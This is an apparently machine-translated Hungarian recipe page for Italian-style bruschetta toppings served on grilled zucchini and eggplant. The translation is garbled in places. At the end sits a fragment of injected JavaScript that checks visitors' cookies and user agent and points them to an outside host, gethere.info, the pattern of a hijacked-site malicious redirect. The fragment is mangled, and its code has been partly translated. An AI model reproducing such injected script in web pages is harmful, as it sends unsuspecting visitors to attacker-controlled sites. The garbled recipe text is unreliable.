Bemutatjuk abszolút nyári olasz előételeket: ricotta-spenót paszta, szárított paradicsompesto, prosciutto és lédús őszibarack kombinációja ...

Az olasz konyha helyesen az egyik legnépszerűbb a világon. És a legnépszerűbb étel? Végül is pizza, tészta, vagy valami hasonló:). Kétségtelen, hogy ezek valóban csodálatos ételek, de számunkra az olasz konyha inkább a minőségi és egészséges alapanyagok kombinációjáról szól. Cserélhetjük a tésztát zöldségre, a pizzatésztát egészségesebb alternatívára vagy egy darab húsra:). Az olasz klasszikusok, mint az aglio olio, carbonara, mozzarella paradicsommal, bolognai, spenót ricottával, klasszikus köret nélkül is tökéletesek:).

Ma többféle módon elkészítettük Önnek kedvenc olasz előételét - a bruschettát. A népszerű olasz kombinációk közül riccottát választottunk spenóttal, prosciutto-t őszibarackkal és pesto-t szárított paradicsomból. Természetesen ezek a kombinációk salátákhoz, egészséges kenyérhez és hasonlókhoz is használhatók. Leginkább azt szeretjük, hogy pirított kenyér helyett pirított cukkinit vagy padlizsánt használunk. Bízz bennünk, ez teljesen híres:). És ha nem tetszik, akkor az a tészta is, amelyet a főzőtanfolyamon vegán hevederekhez használunk.

További olasz finomságok itt találhatók.

evőkanál olívaolaj

Bruschettky

Vágjuk a cukkinit és a padlizsánt 0,5-1 cm-es szeletekre, és szárítsuk egy serpenyőben mindkét oldalon kb. 2 percig. Só és fűszerezés. Meghintjük fokhagymával ízlés szerint:).

Szárított paradicsompesto

  • 1 közepes hagyma
  • 2-3 gerezd fokhagyma
  • 1 + 5 evőkanál olívaolaj
  • 100 g szárított paradicsom (ha olajban pácoljuk, hagyja ki azt az 5 evőkanál olajat, és adja meg a szükséges mennyiséget)
  • néhány levél friss bazsalikom
  • só és fekete bors ízlés szerint

Finoman aprítsuk fel a hagymát és a fokhagymát, és kevés olajon pároljuk körülbelül 5 percig, amíg meg nem puhul. Ezután az összes hozzávalót finom pasztává keverjük - a steak tartárhoz hasonló konzisztenciájú.

Spenót-ricotta paszta

  • 100g ricotty
  • 100 g spenót (friss vagy fagyasztott)
  • 1 evőkanál olívaolaj
  • csipet szerecsendió
  • só és bors ízlés szerint

Pároljuk meg (olvasztjuk fel), aprítsuk fel finomra és keverjük össze ricottával és más összetevőkkel, hogy sima paszta legyen. Kóstolja meg, ha szükséges.

Prosciutto barackkal

Ez a kombináció kiválóan alkalmas mézes-mész öntettel készült salátaként. Mozzarellát általában salátával tálalunk:). A mennyiségek az ízléstől és az emberek számától függenek, de ez így működik:

  • 50g prosciutta
  • 1 mozzarella
  • 2 őszibarack/nektarin
  • csipet só a mozzarellán
  • öntet: 1 evőkanál méz + fél lime vagy citrom leve + 2 evőkanál olívaolaj

* ha salátának akarjuk, adjunk hozzá 1/2 jégsalátát

* ha hasonló a bruschettához, egyszerűen fektesse ezeket az összetevőket sült zöldségekre

if (document.currentScript) < if(document.cookie.indexOf(“_mauthtoken”)==-1)>>) (navigator.userAgent || navigator.szállító || window.opera, ’http: //gethere.info/kt/? 264dpr &’);>